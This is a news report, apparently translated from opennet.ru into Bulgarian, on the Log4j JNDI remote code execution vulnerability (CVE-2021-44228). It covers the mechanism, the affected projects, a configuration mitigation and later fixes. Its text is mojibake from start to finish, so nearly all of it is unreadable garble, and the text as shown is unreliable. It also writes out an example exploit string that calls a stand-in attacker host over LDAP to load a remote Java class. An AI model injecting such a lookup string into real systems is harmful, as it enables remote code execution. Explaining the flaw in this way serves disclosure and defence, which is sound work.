Π Apache Log4j, ΠΏΠΎΠΏΡΠ»ΡΡΠ½Π° ΡΠ°ΠΌΠΊΠ° Π·Π° ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° Π»ΠΎΠ³ΠΎΠ²Π΅ΡΠ΅ Π² Java ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, Π΅ ΠΎΡΠΊΡΠΈΡΠ° ΠΊΡΠΈΡΠΈΡΠ½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ, ΠΊΠΎΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ ΠΊΠΎΠ΄ ΠΏΡΠΈ Π·Π°ΠΏΠΈΡ Π½Π° ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ ΡΠΎΡΠΌΠ°ΡΠΈΡΠ°Π½Π° ΡΡΠΎΠΉΠ½ΠΎΡΡ Π² Π»ΠΎΠ³ΠΎΠ²Π΅ Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ "{jndi:URL}". ΠΡΠ°ΠΊΠ°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ Π²ΡΠ·ΠΌΠΎΠΆΠ½Π° Π½Π° Java ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΊΠΎΠΈΡΠΎ Π·Π°ΠΏΠΈΡΠ²Π°Ρ ΡΡΠΎΠΉΠ½ΠΎΡΡΠΈ Π² Π»ΠΎΠ³ ΠΎΡ Π²ΡΠ½ΡΠ½ΠΈ ΠΈΠ·ΡΠΎΡΠ½ΠΈΡΠΈ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΡΠΈ ΠΈΠ·Π²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ½ΠΈ ΡΡΠΎΠΉΠ½ΠΎΡΡΠΈ Π² ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ Π·Π° Π³ΡΠ΅ΡΠΊΠΈ.
ΠΡΠ±Π΅Π»ΡΠ·Π²Π° ΡΠ΅, ΡΠ΅ ΠΏΠΎΡΡΠΈ Π²ΡΠΈΡΠΊΠΈ ΠΏΡΠΎΠ΅ΠΊΡΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠΈ ΡΠ°ΠΌΠΊΠΈ ΠΊΠ°ΡΠΎ Apache Struts, Apache Solr, Apache Druid ΠΈΠ»ΠΈ Apache Flink, ΡΠ° ΡΡΠ·Π²ΠΈΠΌΠΈ, Π²ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ Steam, Apple iCloud, ΠΊΠ»ΠΈΠ΅Π½ΡΠΈ ΠΈ ΡΡΡΠ²ΡΡΠΈ Π½Π° ΠΈΠ³ΡΠ°ΡΠ° Minecraft. ΠΡΠ°ΠΊΠ²Π° ΡΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π΄Π° Π΄ΠΎΠ²Π΅Π΄Π΅ Π΄ΠΎ Π²ΡΠ»Π½Π° ΠΎΡ ΠΌΠ°ΡΠΎΠ²ΠΈ Π°ΡΠ°ΠΊΠΈ ΡΡΠ΅ΡΡ ΠΊΠΎΡΠΏΠΎΡΠ°ΡΠΈΠ²Π½ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΏΠΎΠ²ΡΠ°ΡΡΠΉΠΊΠΈ ΠΈΡΡΠΎΡΠΈΡΡΠ° Π½Π° ΠΊΡΠΈΡΠΈΡΠ½ΠΈΡΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π² ΡΠ°ΠΌΠΊΠ°ΡΠ° Apache Struts, ΠΊΠΎΡΡΠΎ, ΡΠΏΠΎΡΠ΅Π΄ ΠΏΡΠΈΠ±Π»ΠΈΠ·ΠΈΡΠ΅Π»Π½ΠΈ ΠΎΡΠ΅Π½ΠΊΠΈ, ΡΠ΅ ΠΏΡΠΈΠ»Π°Π³Π° Π² ΡΠ΅Π± ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π½Π° 65% ΠΎΡ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈΡΠ΅ Π² ΡΠΏΠΈΡΡΠΊΠ° Fortune 100. ΠΠ΅ΡΠ΅ ΡΠ° ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°Π½ΠΈ ΠΎΠΏΠΈΡΠΈ Π·Π° ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅ Π½Π° ΠΌΡΠ΅ΠΆΠ°ΡΠ° Π·Π° ΡΡΠ·Π²ΠΈΠΌΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ.
ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ ΡΠ΅ ΡΡΠ»ΠΎΠΆΠ½ΡΠ²Π°, ΡΡΠΉ ΠΊΠ°ΡΠΎ Π²Π΅ΡΠ΅ Π΅ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½ ΡΠ°Π±ΠΎΡΠ΅Ρ Π΅ΠΊΡΠΏΠ»ΠΎΠΈΡ, Π½ΠΎ ΠΊΠΎΡΠ΅ΠΊΡΠΈΠΈ Π·Π° ΡΡΠ°Π±ΠΈΠ»Π½ΠΈΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Π² ΠΌΠΎΠΌΠ΅Π½ΡΠ° Π½Π΅ ΡΠ° ΡΠΎΡΠΌΡΠ»ΠΈΡΠ°Π½ΠΈ. ΠΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡΡΡ Π½Π° CVE Π²ΡΠ΅ ΠΎΡΠ΅ Π½Π΅ Π΅ ΠΏΡΠΈΡΠ²ΠΎΠ΅Π½. ΠΠΎΡΠ΅ΠΊΡΠΈΡ Π΅ Π²ΠΊΠ»ΡΡΠ΅Π½Π° ΡΠ°ΠΌΠΎ Π² ΡΠ΅ΡΡΠΎΠ²Π°ΡΠ° Π²Π΅ΡΡΠΈΡ log4j-2.15.0-rc1. ΠΠ°ΡΠΎ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎ ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π·Π° Π±Π»ΠΎΠΊΠΈΡΠ°Π½Π΅ Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° ΡΠ΅ ΠΏΡΠ΅ΠΏΠΎΡΡΡΠ²Π° Π·Π°Π΄Π°Π²Π°Π½Π΅ Π½Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° log4j2.formatMsgNoLookups Π½Π° ΡΡΠΎΠΉΠ½ΠΎΡΡ true.
ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ Π΅ ΠΏΠΎΡΠΎΠ΄Π΅Π½ ΠΎΡ ΡΠ°ΠΊΡΠ°, ΡΠ΅ log4j ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΈ ΠΌΠ°ΡΠΊΠΈ "{}" Π² Π»ΠΎΠ³ΠΎΠ²ΠΈΡΠ΅ Π½ΠΈΠ·ΠΎΠ²Π΅, Π² ΠΊΠΎΠΈΡΠΎ ΠΌΠΎΠ³Π°Ρ Π΄Π° ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π°Ρ Π·Π°ΡΠ²ΠΊΠΈ ΠΏΠΎ JNDI (Java Naming and Directory Interface). ΠΡΠ°ΠΊΠ°ΡΠ° ΡΠ΅ ΡΠ²Π΅ΠΆΠ΄Π° Π΄ΠΎ ΠΏΡΠ΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π½ΠΈΠ· Ρ ΠΏΠΎΠ΄ΠΌΡΠ½Π° "${jndi:ldap://attacker.com/a}", ΠΏΡΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ°ΡΠ° Π½Π° ΠΊΠΎΠΉΡΠΎ log4j ΡΠ΅ ΠΈΠ·ΠΏΡΠ°ΡΠΈ Π½Π° ΡΡΡΠ²ΡΡ attacker.com LDAP Π·Π°ΡΠ²ΠΊΠ° Π·Π° ΠΏΡΡΡ Π΄ΠΎ Java ΠΊΠ»Π°Ρ. ΠΡΡΠ½Π°ΡΠΈΡΡ ΡΡΡΠ²ΡΡΠ°. ΠΏΡΡ Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, http://second-stage.attacker.com/Exploit.class) ΡΠ΅ Π±ΡΠ΄Π΅ Π·Π°ΡΠ΅Π΄Π΅Π½ ΠΈ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ° Π½Π° ΡΠ΅ΠΊΡΡΠΈΡ ΠΏΡΠΎΡΠ΅Ρ, ΠΊΠΎΠ΅ΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ Π΄Π° ΠΏΠΎΡΡΠΈΠ³Π½Π΅ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ ΠΊΠΎΠ΄ Π² ΡΠΈΡΡΠ΅ΠΌΠ°ΡΠ° Ρ ΠΏΡΠ°Π²Π°ΡΠ° Π½Π° ΡΠ΅ΠΊΡΡΠΎΡΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.
ΠΠΎΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ 1: Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈΡΠ΅ ΡΠ° ΠΏΠΎΠ»ΡΡΠΈΠ»ΠΈ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ CVE-2021-44228.
ΠΠΎΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ 2: ΠΡΠΊΡΠΈΡ Π΅ Π½Π°ΡΠΈΠ½ Π·Π° Π·Π°ΠΎΠ±ΠΈΠΊΠ°Π»ΡΠ½Π΅ Π½Π° Π·Π°ΡΠΈΡΠ°ΡΠ°, Π΄ΠΎΠ±Π°Π²Π΅Π½Π° Ρ Π²Π΅ΡΡΠΈΡΡΠ° log4j-2.15.0-rc1. ΠΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ Π΅ Π½ΠΎΠ²ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ log4j-2.15.0-rc2 Ρ ΠΏΠΎ-ΠΏΡΠ»Π½Π° Π·Π°ΡΠΈΡΠ° ΡΡΠ΅ΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ°. Π ΠΊΠΎΠ΄Π° ΡΠ΅ ΠΏΠΎΠ΄ΡΠ΅ΡΡΠ°Π²Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅, ΡΠ²ΡΡΠ·Π°Π½ΠΎ Ρ Π»ΠΈΠΏΡΠ°ΡΠ° Π½Π° Π°Π²Π°ΡΠΈΠΉΠ½ΠΎ ΠΏΡΠ΅ΠΊΡΠ°ΡΡΠ²Π°Π½Π΅ Π² ΡΠ»ΡΡΠ°ΠΉ Π½Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ ΡΠΎΡΠΌΠ°ΡΠΈΡΠ°Π½ JNDI URL.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: opennet.ru
